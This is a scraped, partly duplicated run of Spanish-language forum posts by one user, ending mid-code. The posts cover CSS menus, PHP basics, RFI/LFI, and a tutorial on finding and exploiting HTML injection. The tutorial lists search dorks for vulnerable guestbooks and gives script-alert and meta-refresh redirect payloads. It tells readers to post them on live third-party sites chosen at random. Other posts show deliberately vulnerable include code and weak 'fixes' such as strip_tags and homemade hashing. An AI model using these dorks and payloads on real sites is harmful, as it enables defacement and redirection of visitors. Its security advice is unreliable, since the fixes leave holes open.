Si yo en su pagina hago You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login ¿Que pasaria? Se incluiria en su pagina mi script malicioso y tendria acceso a todo su servidor/hosting ocasionando que yo pueda malusa resta vulnerabilidad y destrozarles su pagina (cosa que nunca hago).
Para LFI:
Suponiendo que tenemos la misma pagina, pero ahora si filtramos el archivo y comprobamos que exista de esta manera:
<?php
$file = $_GET['path'];
if (file_exists($file)){
include ($path);
}else{
echo "No intentes buggear";
}
?>
Aqui pasariamos de nuevo con el Full Path Disclosure, comenzamos a "navegar" con "../" , "./" hasta encontrar algun archivo vulnerable y comenzar a atacar.
¿Como parcharlo?
Esta manera que explicare sera para las dos vulnerabilidades:
<?php
$file = str_replace('/','',$_GET['path']);
$file = "./".$file;
if (file_exists($file)){
include ($path);
}else{
echo "No intentes buggear";
}
?>
Como se observa, se utiliza "casi" la misma manera de parchar el Full Path Disclosure, solo es cuestion de que analizen su codigo linea por linea.
------------------------------------------------------------
Tips
------------------------------------------------------------
Les dare un par de tips para hacer segura su web que en lo personal me han servido de mucho:
1.- Si se trata de sesiones, comprobar en "cada pagina" que solo usuarios autorizados puedan acceder.
2.- Filtrar todas y cada una de las variables.
3.- Generar "errores" marcados por nosotros, por ejemplo:
<?php
$error = array('Error de existencia', 'Error numerico');
if (file_exists($archivo)){
//Todo el codigo
}else{
$file = fopen("error.txt", 'a '); //Permisos de escritura y lectura con a
fwrite($file, '
Error: '.$error[0].' a las: '.date('r').' de la IP: '.$_SERVER[REMOTE_ADDR].'n');
fclose($file);
}
if (is_numeric($id)){
// Todo el codigo
}else{
$file = fopen("error.txt", 'a '); //Permisos de escritura y lectura con a
fwrite($file, '
Error: '.$error[1].' a las: '.date('r').' de la IP: '.$_SERVER[REMOTE_ADDR].'n');
fclose($file)
}
?>
4.- Evitar mostrar errores en pantalla mediante "@" ejemplo:
<?php
$file = @fopen('index.php','a ');
@fwrite($file, 'Xt3mP');
@fclose($file);
?>
5.- Entre otros
------------------------------------------------------------
Espero que este manual les haya aclarado muchas dudas, y para los que digan que ya existen otros noten la diferente entre "Como hacerlo/Parcharlo" y "Porque sucede eso".
P.D: En la proxima version hablare sobre otras vulnerabilidades, entre ellas asp injection.
P.D.2: Si se me paso algo o escribe algo mal fue porque lo escribo continuamente sin descansar y a veces se confunde uno.
Saludos.
------------------------------------------------------------
#229
Zona Webmaster / Re:Colores hexadecimales online.
Enero 26, 2011, 05:37:46 AM
Claro, aunque yo me siento mejor con colorscheme, saludos y gracias por aportar otro link.
#230
Zona Webmaster / [HERRAMIENTA] Colores hexadecimales online.
Enero 25, 2011, 09:37:43 PM #231
Back-end / Como saber que navegador usa el visitante.
Enero 25, 2011, 08:51:47 AM
Como muchos ya sabran, PHP tiene funciones y/o arrays/matrices agradables, una de ellas (de las más básicas) es la de sabe que navegador/agente utiliza el visitante.
El nombre asociativo del array $_SERVER es HTTP_USER_AGENT y se emplea de la siguiente forma:
Código: php
Como podran darse cuenta, así de sencillo es esto, pero te preguntaras: ¿Cómo le hago para mostrar un "x" mensaje por navegador?, para eso empleamos otra función llamada "strstr" y la emplearémos con la del agente de esta manera:
Código: php
Solo es cuestión de que vayan variando el código, simple y sencillo, saludos.
El nombre asociativo del array $_SERVER es HTTP_USER_AGENT y se emplea de la siguiente forma:
<?php
$funcion = $_SERVER[HTTP_USER_AGENT];
echo $funcion;
?>
Como podran darse cuenta, así de sencillo es esto, pero te preguntaras: ¿Cómo le hago para mostrar un "x" mensaje por navegador?, para eso empleamos otra función llamada "strstr" y la emplearémos con la del agente de esta manera:
<?php
$funcion = $_SERVER[HTTP_USER_AGENT];
if(strstr($funcion, "Mozilla")){
echo "Su navegador es Mozilla";
}elseif(strstr($funcion "MSIE")){
echo "Su navegador es Internet Explorer";
}
?>
Solo es cuestión de que vayan variando el código, simple y sencillo, saludos.
#232
Zona Webmaster / [CSS][AVANZADO] Crear un menú con listas
Enero 25, 2011, 08:45:06 AM
Hola, ¿qué tal?, el siguiente post fue creado a petición de un amigo mío y se trata nada más ni nada menos que un menú sencillo en CSS fácil de adaptar y/o modificar a su gusto.
Si tienes alguna duda de los conceptos básicos del CSS puedes tomar de referencia el post anterior en donde explico como "maquillar" formularios con CSS (en este post se explican que son ids, etc).
En mi caso solo utilizaré un solo archivo HTML pero cuando se trata de una web más grande se recomienda incluír el archivo CSS con el siguiente código:
<link type="text/css" rel="stylesheet" href="directorio/tunombre.css">En donde "directorio" equivale a en la carpeta donde tienes el CSS y "tunombre.css" lógicamente es el archivo CSS, reitero, en este caso solo utilizaré un solo archivo HTML ya que es poco contenido.
Sin nada más que decir comenzemos con el código HTML:
<div id="base">
<ul>
<li><a href="#"></a><div class="link"><a href="#">Link 1</a></div></li>
<li><a href="#"></a><div class="link"><a href="#">Link 2</a></div></li>
<li><a href="#"></a><div class="link"><a href="#">Link 3</a></div></li>
<li><a href="#"></a><div class="link"><a href="#">Link 4</a></div></li>
<li><a href="#"></a><div class="link"><a href="#">Link 5</a></div></li>
</ul>
</div>Como podran notar estoy utilizando listas para de esta maner facilitarnos mucho más a la hora de crear algún menú, dentro de una capa con el identificador base ponemos la lista la cual a su vez contiene un link y otra capa más con el identificador link, recuerden que para manejar id en CSS utilizamos "#" y para manejar clases utilizamos ".". Pasemos al código CSS:
#base{ //Hacemos referencia al id Base el cual sera la base del menu
width: 800px; //Ancho
margin: 0 auto; //Margen
height: 50; //Alto
background: #004E00; //Fondo
font-family: "Trebuchet MS", Verdana; //Fuente de letra
font-size: 18px; //Tamaño de letra
font-weight: bold; //Negrita/strong
-moz-border-radius-bottomleft:10px; //Borde redondeado aba-izq
-moz-border-radius-bottomright:10px; //Borde redondeado aba-der
-moz-border-radius-topleft:10px; //Borde redondeado arr-izq
-moz-border-radius-topright:10px; //Borde redondeado arr-der
text-shadow: #000000 1px 1px 1px; //Sombra de texto
}
#base ul{//Hacemos referencia a la lista desordenada
margin: 0; //Margen
padding: 0; //Separacion
}
#base ul li:hover{//Hacemos referencia al elemento de la lista y al indicar hover estamos declarando qeu al pasar el mouse sobre este cambiara su estilo
background: #B8CA01; //Fondo
height: 100%; //Alto
-moz-border-radius-bottomleft:10px; //Borde redondeado aba-izq
-moz-border-radius-bottomright:10px; //Borde redondeado aba-der
-moz-border-radius-topleft:10px; //Borde redondeado arr-izq
-moz-border-radius-topright:10px; //Borde redondeado arr-der
}
#base ul li a{//Hacemos referencia a los links dentro de la lista desordenada
text-decoration:none; //Decoracion
padding-top: 15px; //Separacion
color: #FFFFFF; //Color
}
#base ul, li{ //Hacemos referencia a la lista desordenada y a los elementos dentro de esta
list-style:none; //Estilo de lista
}
#base ul li{ //Hacemos referencia a los elementos de la lista desordenada
float:left; //Situar
width: 20%; //Ancho
text-align:center; //Alineacion del texto
}
#base .link{ //Indicamos la clase link
padding-top:13px; //Separacion
}Ahora les explicaré un poco más detalladamente que es lo que hago en términos prácticos:
Abro una capa con id base el cual me servirá como base del menú, dentro de este situo la lista desordenada con sus respectivos elementos y mediante CSS les quito su valor predeterminado para que aparezcan en forma horizontal en vez de forma vertical y les indico un ancho de 20% a c/u, dentro de esos elementos pongo un atributo a con su respectiva capa con la clase link, con CSS cambio los valores predeterminados del atributo a los cuales son los famosos "links" y la capa con la clase link la creo para poder separar el borde del contenido y que éste se centre.
Realmente es un código muy sencillo ya que al ser código CSS la página cargará mucho más rápido y en cuestión de segundos se puede modificar el diseño, cabe mencionar que en los backgrounds en vez de utilizar el color puedes utilizar alguna imagen para darle un toque más personal.
Acá les dejo un demo: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Acá descargar ejemplo: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Nota: El resaltador de código no me muestra correctamente la parte del HTML, les recomiendo ir al demo y ver el código fuente.
Saludos.
#233
Zona Webmaster / [CSS][MEDIO] Personalizar los inputs y parecidos
Enero 25, 2011, 08:44:37 AM
Primero explicaré que CSS son las hojas de estilo que nos permiten mejorar "el estilo" (valga la redundancia) del contenido del sitio web y este viene de la mano de HTML por lo que en realidad no es un lenguaje pero trabaja como tal ya que tambien tiene su síntaxis para que los estilos se adapten correctamente.
En este caso tomaré de referencia que ya tienen los conceptos básicos de CSS (si no, descargarse DreamWeaver y crear un documento CSS y al dar "intros" se les irá apareciendo los comandos del CSS) así que comenzarémos con diferenciar para que "targets" iran nuestros css.
#estilo = Al indicar un "#" al inicio indicamos que es un ID. (<div id="xt3mp"></div> por lo que daría en el CSS: #xt3mp {...}).
.estilo = Al indicar un "." al inicio indicamos que es una clase. (<div class="xt3mp"></div> por lo que daría en el CSS: .xt3mp{...}).
estilo = Al no indicar que se trata de un id o una clase, el CSS tomará como referencia los atributos ó mejor dicho, las etiquetas ya preterminadas como lo son body, table, input, textarea, select, th, td, etc, es decir, las que no les agregamos CSS en el HTML pero que aún así existen, en este caso un input sin estilo simplemente sería:
<input type="text" name="sin_css" value="Casilla sin CSS">
Como notamos, en este caso seria "input{..}", así que de ahi partirémos.
Creamos un nuevo documento o en el mismo archivo HTML del formulario agregamos las etiquetas: <style type="text/css"></style> para indicar que se trata de CSS, pondre primero el CSS y luego explicaré que hace cada cosa:
input{ /* Al solo poner input sin # ni . indicamos que afecte a todos los input del sitio web */
-moz-border-radius: 3px; /* Con esto hacemos un redondeo en los bordes para que no se mire cuadrado */
background-color: #003300; /* Con esto indicamos el color de fondo */
border: 1px solid #CCFF00; /* Con esto indicamos el size del borde, el estilo (thin, solid, etc) y el color del borde */
color: #379A8D; /* Con esto indicamos el color del contenido */
font-family: Verdana; /* Con esto indicamos la fuente de letra */
font-size: 10px; /* Con esto indicamos el size de letra */
margin: 3px; /* Con esto definimos el espacio afuera del borde */
padding: 3px; /* Con esto definimos el espacio entre el borde */
}
input:hover{ /* Al poner :hover indicamos que afecte a los input al pasar el mouse sobre dichos input*/
background-color: #00CC33; /* Con esto indicamos el color de fondo */
border: 1px solid #CCFF00; /* Con esto indicamos el size del borde, el estilo (thin, solid, etc) y el color del borde */
color: #F2F2F2; /* Con esto indicamos el color del contenido */
}
Ya con esto nuestros input quedarian muy lindos, si quieren que no solo afecte a los input si no que tambien a otros, seria:
input, textarea, select, #ID, .clase{...} /* En donde separamos por "," lo que afectara */
Si no queremos que afecte a todos los input hacemos un CSS asi:
.clase{ /* Al poner . indicamos que afecte a todo lo que tenga la clase "clase" */
-moz-border-radius: 3px; /* Con esto hacemos un redondeo en los bordes para que no se mire cuadrado */
background-color: #003300; /* Con esto indicamos el color de fondo */
border: 1px solid #CCFF00; /* Con esto indicamos el size del borde, el estilo (thin, solid, etc) y el color del borde */
color: #379A8D; /* Con esto indicamos el color del contenido */
font-family: Verdana; /* Con esto indicamos la fuente de letra */
font-size: 10px; /* Con esto indicamos el size de letra */
margin: 3px; /* Con esto definimos el espacio afuera del borde */
padding: 3px; /* Con esto definimos el espacio entre el borde */
}
.clase:hover{ /* Al poner :hover indicamos que afecte a todo lo que tenga la clase "clase" al pasar el mouse sobre dichos input*/
background-color: #00CC33; /* Con esto indicamos el color de fondo */
border: 1px solid #CCFF00; /* Con esto indicamos el size del borde, el estilo (thin, solid, etc) y el color del borde */
color: #F2F2F2; /* Con esto indicamos el color del contenido */
}
En donde clase es el nombre de su clase, ahora el input sería:
<input type="text" name="concss" class="clase">
Demo: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
P.D. Cabe mencionar que en el DEMO en la parte que dice Con CSS en hover: lo puse así para que vean la diferencia en que sucede al pasar el mouse, lo demas tienen el mismo estilo, saludos.
#234
Back-end / Re:Lo basico de php
Agosto 30, 2010, 05:53:31 PM
¿Qué paso con "==="? Creo que se te ha olvidado, suele suceder cuando copian y pegan sin leer la fuente, bueno lo explico.
=== Es un comparador que compara (valga la redundancia) tanto el tipo como el valor, es decir string,numerico, etc, ejemplo:
Código: php
Saludetes.
=== Es un comparador que compara (valga la redundancia) tanto el tipo como el valor, es decir string,numerico, etc, ejemplo:
<?php
$dosnumerico = 2;
$dosstring = "2";
if ($dosnumerico === $dosstring){
echo "Son del mismo tipo y valor":
}else{
echo "No son del mismo tipo o del mismo valor";
}
/*
daria false porque uno es numerico y otro string.
*/
?>
Saludetes.
#235
Bugs y Exploits / Re:Tutorial HTML Injection By Sthefano02
Agosto 23, 2010, 10:34:00 PM
Pues creo que no es necesario, aquí explico todo de HTMLi:
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Y acá de XSS y otras vulnerabilidades web:
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Saludos.
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Y acá de XSS y otras vulnerabilidades web:
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Saludos.
#236
Bugs y Exploits / [Tutorial] Hacer/Evitar HTML Injection
Agosto 23, 2010, 10:30:44 PM
Este tutorial es viejo, creí que ya lo había posteado:
Antes de seguir quiero mencionar que esta vulnerabilidad casi ya no es encontrada en la web, pero nada es imposible, si no quieren leer pueden ver el video dando You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login aquí.
###########################################################################0x01
0x01 ~ Indice
0x02 ~ Autor
0x03 ~ Términos
0x04 ~ Dorks
0x04x01 ~ Como saber si es vulnerable
0x04x02 ~ Como comenzar a atacar
0x05 ~ Sugerencias
0x06 ~ Evitar HTMLi
0x07 ~ Despedida
############################################################################0x02
Autor:
El creador de este paper se hace nombrar Xt3mP el cuál lo hace con el fin de to-
car más este tema, para aclarar dudas y/o adentrarlos al área del HTML Injection,
más sin embargo, no se hace responsable por los actos y/ó consecuencias que pueda
ocasionar abrirlos en este ámbito.
############################################################################0x03
Términos:
HTML = HyperText Markup Language (Lenguaje de Marcas de Hipertexto)
Filtrar = En este ámbito nos referirémos a filtrar al quitar código que pudiese ser malicioso, en los
campos ó casillas de texto para evitar posibles vulnerabilidades en nuestro sitio web.
Dork: En este ámbito nos referirémos a "dorks" a "frases ó palabras" que nos facilitarán las páginas
vulnerables.
¿Por qué es posible? Por la mal estructuración del código que no filtra el texto introducido, por lo tanto al implementar etiquetas de HTML en el campo y guardarlas en el archivo PHP las leerá como HTML y hará lo que le indiquémos en el campo.
Ejemplo : < b >Hola< /b > = Hola
############################################################################0x04
Dorks:
La mayoría de los DORKS actuales ya no son efectivos ya que la mayoría ya los malexploto lo que ocasionó
que nuestro buscador nos tiré páginas que ya fueron hackeadas ó que ya está reparado el bug, pero a
continuación les dejaré unos:
Código: html
Ustedes pueden ir variando el nombre del archivo PHP por alguno relacionado con algún libro de visitas.
############################################################################0x04x01
Como saber si es vulnerable
Para ver si dicha página es vulnerable necesitarémos introducir/comentar en el libro de visitas (en este caso) algúna etiqueta HTML común como <h1> seguido de un texto y si nuestra respuesta lleva acabo el código HTML introducido es muy probable que podámos aprovechar la mal estructuración y/ó filtración del código.
Ejemplo:
Nombre: Xt3mP
Mail: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Comentario: <h1> Test
Y el resultado sería:
Nombre: Xt3mP
Mail: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Comentario: Test
############################################################################0x04x02
Comenzar a atacar
Ya que tengamos nuestra página vulnerable, rellenarémos los datos con valores falsos pero en la casilla de comentario utilizarémos código HTML (<H1>) para forzar a la mala estructuració a que lo haga a la piel de la letra:
Comentario: <h1> Test
Si sale todo como debería de salir (Tamaño grande), harémos llamado a ún Script que mostrará una alerta de bienvenida (por así llamarlo) con el siguiente comando:
Comentario: <script>alert('I_am_Xt3mP')</script>
Con eso te deberá mostrar una alerta al entrar a la página PHP mostrando el texto que indicamos entre ' y '.
Con esto prácticamente hemos acabado pero para un toque final, agregarémos una redirección hacia "otra página" para mostrar algún mensaje personal ó que nos caracteríze con el siguiente comando:
Comentario: <META HTTP-EQUIV="refresh" CONTENT="segundos;url=URL DE LA PAGINA">
En donde CONTENT=" Deberá ir los segundos que tardará en redireccionar y en url la url de nuestra página, ejemplo;
Comentario: <META HTTP-EQUIV="refresh" CONTENT="3;url=You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login">
Con esto hemos terminado la explotación de esta vulnerabilidad denominada HTML Injection.
############################################################################0x05
Sugerencias
La primer sugerencia que les haré concorde a esto es que evitense la pena (literalmente) de cometer una infracción con la página web que expuse como ejemplo, ya que fue elejida al azar y no tiene ningún antecedente delictivo por el cuál merezca ser hackeada.
Sobre la HTMLi (HTML Injection), no siempre al aceptar la alerta te acepta la redirección, así que cuidado con eso.
############################################################################0x06
Evitar HTMLi
La HTMLi es positiva por que al guardar (usarémos en este caso archivos .txt) lo guardan directamente como se indica en la casilla de texto en vez de filtrarla, un ejemplo común es este:
Código: php
Entonces si ponemos etiquetas HTML ó parecidas las guardaría exactamente y al momento de leerlas la tomaría como si el servidor lo tuviera pre-escrito y las ejecutaría vulnerabilizando el sistema.
Para filtrar las variables existen dos comandos claves en PHP, los cuales son stripslashes y strip_tags que nos filtrarán todas las etiquetas y caractéres raros que pudiera vulnerabilizarnos, un ejemplo común es este:
Código: php
En donde si escribimos <h1>Test solo mostraría "Test" ya que filtramos las variables.
############################################################################0x07
Despedida
Por pasos sería:
1- Encontrar archivo que lea las etiquetas HTML directamente.
2- Explotar la vulnerabilidad con los comandos arriba dados.
Espero que hayan comprendido bien el uso de esta técnica, cualquier duda o comentario haganla saber.
Xt3mP
###########################################################################
Antes de seguir quiero mencionar que esta vulnerabilidad casi ya no es encontrada en la web, pero nada es imposible, si no quieren leer pueden ver el video dando You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login aquí.
###########################################################################0x01
0x01 ~ Indice
0x02 ~ Autor
0x03 ~ Términos
0x04 ~ Dorks
0x04x01 ~ Como saber si es vulnerable
0x04x02 ~ Como comenzar a atacar
0x05 ~ Sugerencias
0x06 ~ Evitar HTMLi
0x07 ~ Despedida
############################################################################0x02
Autor:
El creador de este paper se hace nombrar Xt3mP el cuál lo hace con el fin de to-
car más este tema, para aclarar dudas y/o adentrarlos al área del HTML Injection,
más sin embargo, no se hace responsable por los actos y/ó consecuencias que pueda
ocasionar abrirlos en este ámbito.
############################################################################0x03
Términos:
HTML = HyperText Markup Language (Lenguaje de Marcas de Hipertexto)
Filtrar = En este ámbito nos referirémos a filtrar al quitar código que pudiese ser malicioso, en los
campos ó casillas de texto para evitar posibles vulnerabilidades en nuestro sitio web.
Dork: En este ámbito nos referirémos a "dorks" a "frases ó palabras" que nos facilitarán las páginas
vulnerables.
¿Por qué es posible? Por la mal estructuración del código que no filtra el texto introducido, por lo tanto al implementar etiquetas de HTML en el campo y guardarlas en el archivo PHP las leerá como HTML y hará lo que le indiquémos en el campo.
Ejemplo : < b >Hola< /b > = Hola
############################################################################0x04
Dorks:
La mayoría de los DORKS actuales ya no son efectivos ya que la mayoría ya los malexploto lo que ocasionó
que nuestro buscador nos tiré páginas que ya fueron hackeadas ó que ya está reparado el bug, pero a
continuación les dejaré unos:
allinurl:visitas.php
allinurl:librovisitas.php
allinurl:bookmark.php
Ustedes pueden ir variando el nombre del archivo PHP por alguno relacionado con algún libro de visitas.
############################################################################0x04x01
Como saber si es vulnerable
Para ver si dicha página es vulnerable necesitarémos introducir/comentar en el libro de visitas (en este caso) algúna etiqueta HTML común como <h1> seguido de un texto y si nuestra respuesta lleva acabo el código HTML introducido es muy probable que podámos aprovechar la mal estructuración y/ó filtración del código.
Ejemplo:
Nombre: Xt3mP
Mail: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Comentario: <h1> Test
Y el resultado sería:
Nombre: Xt3mP
Mail: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Comentario: Test
############################################################################0x04x02
Comenzar a atacar
Ya que tengamos nuestra página vulnerable, rellenarémos los datos con valores falsos pero en la casilla de comentario utilizarémos código HTML (<H1>) para forzar a la mala estructuració a que lo haga a la piel de la letra:
Comentario: <h1> Test
Si sale todo como debería de salir (Tamaño grande), harémos llamado a ún Script que mostrará una alerta de bienvenida (por así llamarlo) con el siguiente comando:
Comentario: <script>alert('I_am_Xt3mP')</script>
Con eso te deberá mostrar una alerta al entrar a la página PHP mostrando el texto que indicamos entre ' y '.
Con esto prácticamente hemos acabado pero para un toque final, agregarémos una redirección hacia "otra página" para mostrar algún mensaje personal ó que nos caracteríze con el siguiente comando:
Comentario: <META HTTP-EQUIV="refresh" CONTENT="segundos;url=URL DE LA PAGINA">
En donde CONTENT=" Deberá ir los segundos que tardará en redireccionar y en url la url de nuestra página, ejemplo;
Comentario: <META HTTP-EQUIV="refresh" CONTENT="3;url=You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login">
Con esto hemos terminado la explotación de esta vulnerabilidad denominada HTML Injection.
############################################################################0x05
Sugerencias
La primer sugerencia que les haré concorde a esto es que evitense la pena (literalmente) de cometer una infracción con la página web que expuse como ejemplo, ya que fue elejida al azar y no tiene ningún antecedente delictivo por el cuál merezca ser hackeada.
Sobre la HTMLi (HTML Injection), no siempre al aceptar la alerta te acepta la redirección, así que cuidado con eso.
############################################################################0x06
Evitar HTMLi
La HTMLi es positiva por que al guardar (usarémos en este caso archivos .txt) lo guardan directamente como se indica en la casilla de texto en vez de filtrarla, un ejemplo común es este:
<?php
$archivo = "file.txt";
$manejador = fopen($archivo,"w") or die("Imposible abrir el archivo\n");
$todo = $_POST['name'].$_POST['mail'].$_POST['comment'];
fwrite($manejador,$todo);
fclose($manejador);
?>
Entonces si ponemos etiquetas HTML ó parecidas las guardaría exactamente y al momento de leerlas la tomaría como si el servidor lo tuviera pre-escrito y las ejecutaría vulnerabilizando el sistema.
Para filtrar las variables existen dos comandos claves en PHP, los cuales son stripslashes y strip_tags que nos filtrarán todas las etiquetas y caractéres raros que pudiera vulnerabilizarnos, un ejemplo común es este:
<?php
$archivo = "file.txt";
$manejador = fopen($archivo,"w") or die("Imposible abrir el archivo\n");
$name = strip_tags($_POST['name']);
$name = stripslashes($name);
$mail = strip_tags($_POST['mail'];
$mail = stripslashes($mail);
$comment = strip_tags($_POST['comment'];
$comment = stripslashes($comment);
$todo = $name.$mail.$comment;
fwrite($manejador,$todo);
fclose($manejador);
?>
En donde si escribimos <h1>Test solo mostraría "Test" ya que filtramos las variables.
############################################################################0x07
Despedida
Por pasos sería:
1- Encontrar archivo que lea las etiquetas HTML directamente.
2- Explotar la vulnerabilidad con los comandos arriba dados.
Espero que hayan comprendido bien el uso de esta técnica, cualquier duda o comentario haganla saber.
Xt3mP
###########################################################################
#237
Bugs y Exploits / Re:Tutorial HTML Injection By Sthefano02
Agosto 23, 2010, 02:23:56 PMYou are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Y como fixejarlo ê.ê muchos quisieran saberlo gagagagagaga yo tengo una forma pero la vendo ya que necesito $ aosppoasposaoasopsa
P.D: me he sacado 250€ vediendola a 10 personas :$
En el tutorial que yo tengo (Creo que aquí en este foro, si no la tengo ahorita lo posteo) explica como parcharlo LOL y gratis :$ xD
#238
Bugs y Exploits / Re:Tutorial HTML Injection By Sthefano02
Agosto 22, 2010, 08:24:14 PM
Creo que en el subforo tengo dos tutoriales de HTML injection de la misma manera, pero no esta demás, tál vez alguien no los miró, saludos, y creo que debías explicar porque es posible esto, me refiero a una mala filtración de las variables y al leer el comentario (en este caso) se ejecuta el código, saludos brother.
#239
Back-end / Un par de tips caseros.
Agosto 17, 2010, 08:03:43 PM
Algunas funciones y tips para mejorar su web.
------------------------------------------------
Hace poco esta adentrandome más en PHP y encontré (mejor dicho, recordé) una función parecida a la etiqueta FORM METHOD en modo GET de HTML que lo que hace es mostrar ó añadir los argumentos (en este caso los inputs) del formulario por una URL, ejemplo:
Código: html5
Y que al dar enviar nos generaría una URL algo así: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login, es decir, nos muestra todas los "inputs" en la variable.
Entonces con PHP hay una función llamada http_build_query() que apartir de un array asociativo ó indexado, nos generaría una "cadena" al estilo de GET como mencioné anteriormente:
Código: php
Como ven, hace "prácticamente" lo mismo, esto puede servir en caso de que tengamos muchos "switchs" ó si tenemos alguna página que necesite agregar los argumentos en la URL ya que no podemos hacer un "switch" para cada parámetro, entonces creamos un array con los datos que ocuparémos y listo, la verdad a mi me funciona mucho, espero les sirva.
------------------------------------------------
Limpiar variables con carácteres raros.
Cuantas veces no nos ha pasado que tenemos algún sistema de usuarios ó algún sistema de registros en donde el usuario tiene que facilitar su nickname (nombre de usuario) y al revisar el registro ó base de datos nos encontramos con carácteres raros que pueden dejarnos vulnerables, entonces hice una función que "limpia" literalmente los carácteres raros de la siguiente manera:
Código: php
Entonces, simplemente hacer un include a las funciones y agregar la que les facilité arriba y así limpiamos los carácteres raros, inclusive pueden quitar ó agregar carácteres en el array dependiendo lo que necesiten.
------------------------------------------------
Saber quien nos está queriendo fastidiar la web.
Muchas veces al filtrar las variables no se guarda en la base de datos los carácteres raros que pueden ser vulnerables hacia nuestra web, pero ¿Entonces como localizaríamos a aquellos que nos quieren joder? Fácil.
Suponiendo que es un registro:
Código: php
Introducimos los datos a la base de datos sin filtrar las variables y mostramos en pantalla filtrandolas, te preguntarás ¿Por qué? Así suponiendo que el usuario escribe algo como "<h1>Xt3mP</h1>", así igualmente aparecería en la base de datos junto con la IP, de esta manera sabremos quien nos esta queriendo joder las "balls", obviamente al mostrarlo en pantalla le metemos un htmlentities(), bueno, a mi me sirve, he pillado a muchos que han querido joderme.
------------------------------------------------
Usuarios autorizados.
A veces (He visto), que una parte de las páginas web online te piden autorización para ciertas páginas, digamosle panel_adm.php ¡PERO!, si entramos (ejemplo) a panel_adm_addusers.php da la casualidad que hay no te pide autorización del sitio y queda totalmente a la merced del usuario atacante.
Les recomiendo hacer una función ó comprobar (como lo haré en este caso) que siempre que sea una página crítica solo personal autorizado pueda acceder a ella:
Código: php
------------------------------------------------
Encriptación de contraseñas.
A veces la encriptación de contraseñas con "hashes" se nos hace un poco díficil ya que es one-way, es decir, solo encriptan más no tiene función para desencriptar a menos que sea con "brutus force" mediante encriptando la contraseña en el mismo tipo de encriptación y comparar si la contraseña encriptada es igual a la que encriptamos, es decir:
Si la contraseña encriptada del usuario es: 21fa33e4fb9fa3f1da10f7c17823e7e8
El atacante al obtener esa contraseña y darse cuenta por obvias razones que es md5, utilizará alguna herramienta tanto online como offline que funcionan de la siguiente manera:
Encriptar: Text1 = 1c06e3d86536d0eb8903da08af433909
Encriptar: Text1 = eb396671a7de43af3a9b5afaceb1514b
Encriptar: Xt3mP = 21fa33e4fb9fa3f1da10f7c17823e7e8 (Bingo) Nos vota exáctamente el mismo hash por lo tanto esa sería la contraseña.
En terminos básicos, para desencriptar un hash one-way se hace a la reversa literalmente, encriptas el texto lo cual hará que nos genere un hash y ya obteniendo ese hash lo comparas con el hash de la contraseña.
Así que almenos yo encripto la contraseña de manera muy, mmm como decirlo, que sea díficil de descifrarla:
Código: php
Ya al momento de querer cambiar la contraseña hay sería lo díficil, porque tendrías que crear un sistema de reseteo de contraseña mediante la introducción de la fecha de nacimiento, pregunta privada, etc.
Nota: Y sí, puse base64 para que cuando el atacante la vea sepa que le estoy jugando una pequeña bromita =).
------------------------------------------------
Ultimo tip y el más importante.
Es un frase:
"No por tener menos código significa que sea mejor."
Creo que le entienden, se refiere a que no por tener reducido todo en un solo PHP (y gracias a esto cometer un error de programación) significa que el script vaya a ser mejor ó más rápido, usen la cantidad de archivos que realmente necesiten.
------------------------------------------------
Saludos.
------------------------------------------------
Hace poco esta adentrandome más en PHP y encontré (mejor dicho, recordé) una función parecida a la etiqueta FORM METHOD en modo GET de HTML que lo que hace es mostrar ó añadir los argumentos (en este caso los inputs) del formulario por una URL, ejemplo:
<html>
<head>
<title>Form</title>
</head>
<body>
<form action="" METHOD="GET">
Nombre: <input type="text" name="name" id="name"><br /> <!-- Xt3mP -->
Edad: <input type="text" name="age" id="age"><br /> <!-- 17 -->
Mail: <input type="text" name="mail" id="mail"><br /> <!-- [email protected] -->
Pais: <input type="text" name="country" id="country"><br /> <!-- Mexico -->
<input type="submit" value="Enviar">
</form>
</body>
</html>
Y que al dar enviar nos generaría una URL algo así: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login, es decir, nos muestra todas los "inputs" en la variable.
Entonces con PHP hay una función llamada http_build_query() que apartir de un array asociativo ó indexado, nos generaría una "cadena" al estilo de GET como mencioné anteriormente:
<?php
$datos = array("name" => "Xt3mP", "age" => "17", "mail" => "[email protected]", "country" => "Mexico");
echo "www.web.com/path/?".http_build_query($datos);
/*
Daria:
www.web.com/path/?name=Xt3mP&age=17&mail=Xt3mP%40und3rgr0und.org&country=Mexico
*/
?>
Como ven, hace "prácticamente" lo mismo, esto puede servir en caso de que tengamos muchos "switchs" ó si tenemos alguna página que necesite agregar los argumentos en la URL ya que no podemos hacer un "switch" para cada parámetro, entonces creamos un array con los datos que ocuparémos y listo, la verdad a mi me funciona mucho, espero les sirva.
------------------------------------------------
Limpiar variables con carácteres raros.
Cuantas veces no nos ha pasado que tenemos algún sistema de usuarios ó algún sistema de registros en donde el usuario tiene que facilitar su nickname (nombre de usuario) y al revisar el registro ó base de datos nos encontramos con carácteres raros que pueden dejarnos vulnerables, entonces hice una función que "limpia" literalmente los carácteres raros de la siguiente manera:
<?php
function limpiar_texto($texto){
